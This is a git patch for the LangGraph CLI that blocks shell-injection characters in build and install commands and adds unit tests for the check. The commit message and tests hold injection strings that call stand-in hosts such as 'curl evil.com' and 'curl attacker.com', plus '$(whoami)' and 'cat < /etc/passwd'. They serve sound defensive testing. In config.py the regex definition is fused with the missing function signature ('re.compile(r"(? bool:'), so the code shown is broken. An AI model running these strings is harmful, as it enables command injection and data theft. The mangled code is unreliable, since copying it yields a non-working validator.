From e00a02757964a95a9426a5d953c9adb0ab9d7f63 Mon Sep 17 00:00:00 2001 From: John Kennedy <65985482+jkennedyvz@users.noreply.github.com> Date: Fri, 6 Mar 2026 13:14:57 -0800 Subject: [PATCH] fix(cli): block shell injection chars in build/install commands (#7044) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Summary - Adds `|`, `;`, `$`, `>`, `<`, `\t` to `DISALLOWED_BUILD_COMMAND_CHARS` to prevent command injection in CLI `build_command` / `install_command` parameters - Previously these values were interpolated directly into Dockerfile `RUN` directives with no validation - Single `&` is blocked (background execution) while `&&` remains allowed since it's commonly used in build commands (e.g. `npm install && npm build`) - Adds `has_disallowed_build_command_content()` validation function and applies it in the `build` CLI command - Mirrors langchain-ai/langchainplus#19143 **Attack examples now blocked:** - `pip install foo | curl attacker.com` (pipe) - `npm install; curl evil.com` (semicolon) - `pip install $(whoami)` (command substitution) - `pip install ${IFS}evil` (variable expansion) - `npm install & curl evil.com` (background execution) ## Test Plan - [x] 27 new unit tests covering all disallowed chars, injection patterns, single `&` rejection, `&&` allowance, and valid commands - [x] All 64 tests in `test_config.py` pass (37 existing + 27 new) 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.6 --- libs/cli/langgraph_cli/cli.py | 12 ++++++ libs/cli/langgraph_cli/config.py | 30 +++++++++++++++ libs/cli/tests/unit_tests/test_config.py | 47 ++++++++++++++++++++++++ 3 files changed, 89 insertions(+) diff --git a/libs/cli/langgraph_cli/cli.py b/libs/cli/langgraph_cli/cli.py index 30bb573fa..6933c0e26 100644 --- a/libs/cli/langgraph_cli/cli.py +++ b/libs/cli/langgraph_cli/cli.py @@ -409,6 +409,18 @@ def build( install_command: str | None, build_command: str | None, ): + if install_command and langgraph_cli.config.has_disallowed_build_command_content( + install_command + ): + raise click.UsageError( + "install_command contains disallowed characters or patterns." + ) + if build_command and langgraph_cli.config.has_disallowed_build_command_content( + build_command + ): + raise click.UsageError( + "build_command contains disallowed characters or patterns." + ) with Runner() as runner, Progress(message="Pulling...") as set: if shutil.which("docker") is None: raise click.UsageError("Docker not installed") from None diff --git a/libs/cli/langgraph_cli/config.py b/libs/cli/langgraph_cli/config.py index 8955ebccd..ee6b351dd 100644 --- a/libs/cli/langgraph_cli/config.py +++ b/libs/cli/langgraph_cli/config.py @@ -13,6 +13,36 @@ from langgraph_cli.schemas import Config, Distros MIN_NODE_VERSION = "20" DEFAULT_NODE_VERSION = "20" +DISALLOWED_BUILD_COMMAND_CHARS = [ + '"', + "`", + "\\", + "\n", + "\r", + "\0", + "\t", + "|", + ";", + "$", + ">", + "<", +] + +# Regex pattern matching a single "&" that is NOT part of "&&". +# This blocks background execution (cmd &) while allowing command +# chaining (cmd1 && cmd2) which is common in build commands. +_SINGLE_AMPERSAND_RE = re.compile(r"(? bool: + """Check if a command string contains disallowed characters or patterns.""" + if any(char in command for char in DISALLOWED_BUILD_COMMAND_CHARS): + return True + if _SINGLE_AMPERSAND_RE.search(command): + return True + return False + + MIN_PYTHON_VERSION = "3.11" DEFAULT_PYTHON_VERSION = "3.11" diff --git a/libs/cli/tests/unit_tests/test_config.py b/libs/cli/tests/unit_tests/test_config.py index eecc887ed..d842f2c05 100644 --- a/libs/cli/tests/unit_tests/test_config.py +++ b/libs/cli/tests/unit_tests/test_config.py @@ -14,6 +14,7 @@ from langgraph_cli.config import ( config_to_compose, config_to_docker, docker_tag, + has_disallowed_build_command_content, validate_config, validate_config_file, ) @@ -1692,3 +1693,49 @@ def test_config_to_compose_with_api_version(): # Check that the compose file includes the correct FROM line with api_version assert "FROM langchain/langgraphjs-api:0.2.74-node20" in actual_compose_str + + +class TestHasDisallowedBuildCommandContent: + """Tests for has_disallowed_build_command_content.""" + + @pytest.mark.parametrize( + "char", + ['"', "`", "\\", "\n", "\r", "\0", "\t", "|", ";", "$", ">", "<"], + ) + def test_disallowed_chars_rejected(self, char: str) -> None: + assert has_disallowed_build_command_content(f"npm install{char}some-package") + + @pytest.mark.parametrize( + "cmd", + [ + "pip install foo | curl attacker.com", + "npm install; curl evil.com", + "pip install $(whoami)", + "pip install ${IFS}evil", + "curl evil.com & disown", + "npm install & curl evil.com", + "pip install > /dev/null", + "cat < /etc/passwd", + ], + ) + def test_injection_patterns_rejected(self, cmd: str) -> None: + assert has_disallowed_build_command_content(cmd) + + def test_single_ampersand_rejected(self) -> None: + assert has_disallowed_build_command_content("npm install & curl evil.com") + + def test_double_ampersand_allowed(self) -> None: + assert not has_disallowed_build_command_content("npm install && npm run build") + + @pytest.mark.parametrize( + "cmd", + [ + "npm install", + "pnpm install --frozen-lockfile", + "next build && next export", + "npm ci && npm run build", + "pip install -e '.[dev]'", + ], + ) + def test_valid_commands_allowed(self, cmd: str) -> None: + assert not has_disallowed_build_command_content(cmd)